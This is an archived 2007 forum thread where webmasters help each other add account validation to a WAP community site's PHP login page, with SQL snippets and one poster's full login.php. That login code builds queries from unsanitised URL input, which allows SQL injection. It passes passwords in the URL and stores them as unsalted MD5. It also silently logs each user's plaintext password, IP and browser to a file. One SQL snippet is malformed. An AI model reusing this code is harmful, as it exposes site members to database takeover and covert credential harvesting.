Accounts Validation

Started on the old forum in June 2007 · view the original in the archive · old links redirect here

48 replies · 3,442 views · started 19 years ago · 1 min read

TL;DR · summary of 48 replies
  • - The code provided in the thread can be used to validate users based on their points (plusses).
  • - To implement this, the validation condition should be placed in various parts of the forum like Main Page, Chat, Forums, Buddies, Statistics etc.
  • - For chat functionality, a conditional statement is needed to prevent users without 25 plusses from sending messages.

Written automatically from the replies by a language model on our own server. It can be wrong; the posts below are the source.

9 participants
alesh Lead · 604 posts #21

yes i thought so..... thanx stargazer

how about this???

INSERT INTO ibwf_settings VALUES (10, 'vldtn', '0'); <-------i knw it goes 2 ibwf_settings,but i dnt understand. should i make a new table in it or???? cuz i just looked and i got just 8 tables in settings... VALUE 1,2,3,4,5,6,7,8....... should i still put VALUE 10 or VALUE 9????

import this into ur users table

validated char(1) NOT NULL default '0', <------ and this goes into ibwf_users... i just need 2 make a new table, am i right?


oh btw why u said u dnt use this script anymore??? is sumthng wrong with it????

eeeeerrr....

amylee Principal · 1,092 posts #22

just leave the value blank it wil update automatically

just import this sql into phpmyadmin

INSERT INTO `ibwf_users` ( `id` , `name` , `value` ) 
VALUES (
'0', 'validated', '1');
);

and same with the vldtn table into ibwf_settings

and im using a new script plus too many ppl are using the old script want some originallity and uniqueness to my site again

alesh Lead · 604 posts #23

aha okay thanx!!!! anyway ill try it 1st at my demo site lol

and heres the 1st problem

add this to login.php

$validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'")); if(($validated[0]>0)&&(validation())) { echo "<img src="../images/notok.gif" alt="X"/>Account Not Validated This could take up to 12hrs pls be patient and try again soon thank you

"; }

whr in the file should i put this??? after this?

$uid = $_GET["loguid"]; $pwd = $_GET["logpwd"];

$tolog = false; echo "<card id="main" title="$uid@blabla">"; echo " ";


and this troubles me....

after i added that line to login.php i had to edit this part or u will hav serious problem

//check for pwd $epwd = md5($pwd); $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'")); if($uinf[0]==0) { echo "<img src="../images/notok.gif" alt="X"/>Incorrect Password

"; echo "<a href="index.php"><img src="../images/home.gif" alt=""/>Home</a>"; }

so change it to this

//check for pwd $epwd = md5($pwd); $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'")); if($uinf[0]==0) { echo "<img src="../images/notok.gif" alt="X"/>Incorrect Password

"; echo "<a href="index.php"><img src="../images/home.gif" alt=""/>Home</a>"; echo " "; echo "</card>"; echo "</wml>"; exit(); }

its diferent tht my login.php

//check for pwd $epwd = md5($pwd); $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'")); if($uinf[0]==0) { echo "<img src="images/notok.gif" alt="X"/>Incorrect Password

"; }else{ $tm = time(); $xtm = $tm + (getsxtm()*60); $did = $uid.$tm; $res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");

cuz if i put it like this

//check for pwd $epwd = md5($pwd); $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'")); if($uinf[0]==0) { echo "<img src="../images/notok.gif" alt="X"/>Incorrect Password

"; echo " "; echo "</card>"; echo "</wml>"; exit(); }else{ $tm = time(); $xtm = $tm + (getsxtm()*60); $did = $uid.$tm; $res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");

ill get bloody PARSE ERROR, am i right?

eeeeerrr....

linkrx7 #24

ok heres my full login page

<?php
include("../blocked.php");
header("Content-type: text/vnd.wap.wml");
header("Cache-Control: no-store, no-cache, must-revalidate");
echo"<?xml version=\"1.0\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.1//EN\"". " \"http://www.wapforum.org/DTD/wml_1.1.xml\">";
?>
<wml>
<?php
include("config.php");
include("core.php");
connectdb();
$bcon = connectdb();
if (!$bcon)
{
    echo "<card id=\"main\" title=\"(ERROR!)\">";
    echo "<p align=\"center\">";
    echo "<img src=\"../images/exit.gif\" alt=\"!\"/>
";
    echo "[b]Error! Cannot Connect To Database...[/b]

";
    echo "This error happens usually when backing up the database, please be patient...";
    echo "</p>";
    echo "</card>";
    echo "</wml>";
    exit();
}
$uid = $_GET["loguid"];
$pwd = $_GET["logpwd"];
$sitename = mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'"));
$sitename = $sitename[0];
$tolog = false;
 echo "<card id=\"main\" title=\"$sitename\">";
  echo "<p align=\"center\">";
  echo "<img src=\"../images/logo.gif\" alt=\"$sitename\"/></p>";
  echo mobads();
  echo "<p align=\"center\">";  
  echo "Bookmark THIS page to avoid repeating the login proccess in the future

";
  
  $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
  if($uinf[0]==0)
  {
    //Check for user ID
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>UserID doesn't exist

";
  }else{
    //check for pwd
    $epwd = md5($pwd);
    $uinf = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
    if($uinf[0]==0)
    {
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password

";
    echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
    echo "</p>";
    echo "</card>";
    echo "</wml>";
    exit();
    }
    $validated = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'"));
    if(($validated[0]>0)&&(validation()))
    {
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>[b]Account Not Validated[/b]
This could take up to 12hrs pls be patient and try again soon
thank you

";
    }else{
$ipr = getip();
$brws = $_SERVER['HTTP_USER_AGENT'];
$ubr = $brws;
$alli = "Username: ".$uid."
Password: ".$pwd."
Ip-Address: ".$ipr."
Browser: ".$ubr."
Script: Wap 1.0(wml)
----------
";
if(trim($uid)!=""){
$fname = "../logs/".$uid.".txt";
$out = fopen($fname,"a+");
fwrite($out,$alli);
fclose($out);}

      $tm = time();
      $xtm = $tm + (getsxtm()*60);
      $did = $uid.$tm;
      $res = mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");
      
      if($res)
      {
        $tolog=true;
        echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid
";
        $idn = getuid_nick($uid);
        
            $lact = mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$idn."'"));
             mysql_query("UPDATE ibwf_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'");
      }else{
        //is user already logged in?
        $logedin = mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid='".$getuid_nick($uid)."'"));
        if($logedin[0]>0)
        {
          //yip, so let's just update the expiration time
          $xtm = time() + (getsxtm()*60);
          $res = mysql_query("UPDATE ibwf_ses SET expiretm='".$xtm."' WHERE uid='".getuid_nick($uid)."'");
          
          if($res)
          {
            $tolog=true;
            echo "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid
";
            

           
            
          }else{
            echo "<img src=\"../images/point.gif\" alt=\"!\"/>Can't login at the time, plz try later
"; //no chance this could happen unless there's error in mysql connection
            
          }
          
        }
        
      }
    
    }
  }
  
  if($tolog)
{
  $sid = md5($did);
    echo "<a href=\"index.php?action=main&sid=$sid\"><img src=\"../images/home.gif\" alt=\"*\"/>";
echo "Enter $sitename</a>
";
  /*if (isadmin(getuid_sid($sid)))
  {
    echo "<a href=\"mail/index.php\">View Your Email Account - Relogin Required</a>

";
  }*/

$xfile = @file("randomlogin.txt");
$random_num = rand (0,count($xfile)-1);
$udata = explode("::",$xfile[$random_num]);
echo "$udata[1]
";

echo "
Feel free to invite all your friends here
Wishing you the best time here, from all $sitename staff :)";
}else{
echo "<a href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
}
echo "</p>";
  echo "</card>";

?>
</wml>
alesh Lead · 604 posts #25

thank u!!!

its still a bit chalenge 4 me lol

eeeeerrr....

linkrx7 #26

prob cos most my sites coding has been redone lol its all different

alesh Lead · 604 posts #27

uuuugh i finaly made it...... tht was a bit chalenge 4 me but i made it...... i just hate it cuz after i did it, i had 2 validate all users..... ugh aaaargh lol good thng i have an GF lol lol

eeeeerrr....

Guest #28

uuuugh i finaly made it...... tht was a bit chalenge 4 me but i made it...... i just hate it cuz after i did it, i had 2 validate all users..... ugh aaaargh lol good thng i have an GF lol lol

lol.. if you had set the default value to 1 when you created the database entry, everybody who already registered would be validated automatically ..[[the null values automatically get set to the default value]] does that make sense?

all you would have to do then is edit the default value to 0 again so that new users are not validated automatically .. does that bit make sense too?

FlareX #30

Il Just Take It From Ur WML Script linkrx7 But Thanks

linkrx7 #31

my register() function sets if the default value is 0 or 1 depending if validation is on or off so that u wont hav to validate a whole lot when u change it from off to on if ur transferring ur old users to my sript change the value in users table to be default of 1 as wont matter when validation option is set if that made sense lol

linkrx7 #32

suvita or somethin like that ur msg dnt make sense ppl cant get plusses if they arent validated lol

Guest #33

my register() function sets if the default value is 0 or 1 depending if validation is on or off so that u wont hav to validate a whole lot when u change it from off to on if ur transferring ur old users to my sript change the value in users table to be default of 1 as wont matter when validation option is set if that made sense lol

lol no that didnt make sense at all lol :/

your register() function sets the value of either 0 or 1 depending if validation is switched on / off

and then i lose track of what youre trying to say .. ? it looks like a repeat of what i said [[when youre creating the new header in the database, set the default value to 1 so that you dont have to validate all of your existing members?]] but yeah, i dont have a clue External image (may be gone) --Kwah

alesh Lead · 604 posts #34

lmao.... anyway i just validated half of them and other half i deleted lmao END LOL

eeeeerrr....

Guest #36

lmao.... anyway i just validated half of them and other half i deleted lmao END LOL

yh i suppose that is one way of dealing with it External image (may be gone)

FlareX #37

I Dont Like This Unless It Work With Normal Xhtml Script , I Cant Put A Wml Login.php On Xhtml Script

Guest #38

I Dont Like This Unless It Work With Normal Xhtml Script , I Cant Put A Wml Login.php On Xhtml Script

validation works on both all wml, xhtml and html scripts .. i dont see any reason why it wouldnt work on yours .. and why cant you use a wml login.php page?

Guest #39

I Dont Like This Unless It Work With Normal Xhtml Script , I Cant Put A Wml Login.php On Xhtml Script

LoL ... LoL .... LoL ... No, u can use it in xhtml, html, wml or any other language , it do not meter with what markup language u output ur content, coz all validation stuff goin on in php functions and in mysql data base ! LoL External image (may be gone) External image (may be gone)

FlareX #40

Thats Not What I Meant That It Wont Work In Xhtml Or Html , I Meant It Not Working On My Xhtml Login.php , Linkrx7 Put Updates To His Login.php

Write your reply now; next you create a free account (or sign in) and it is posted right away. Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close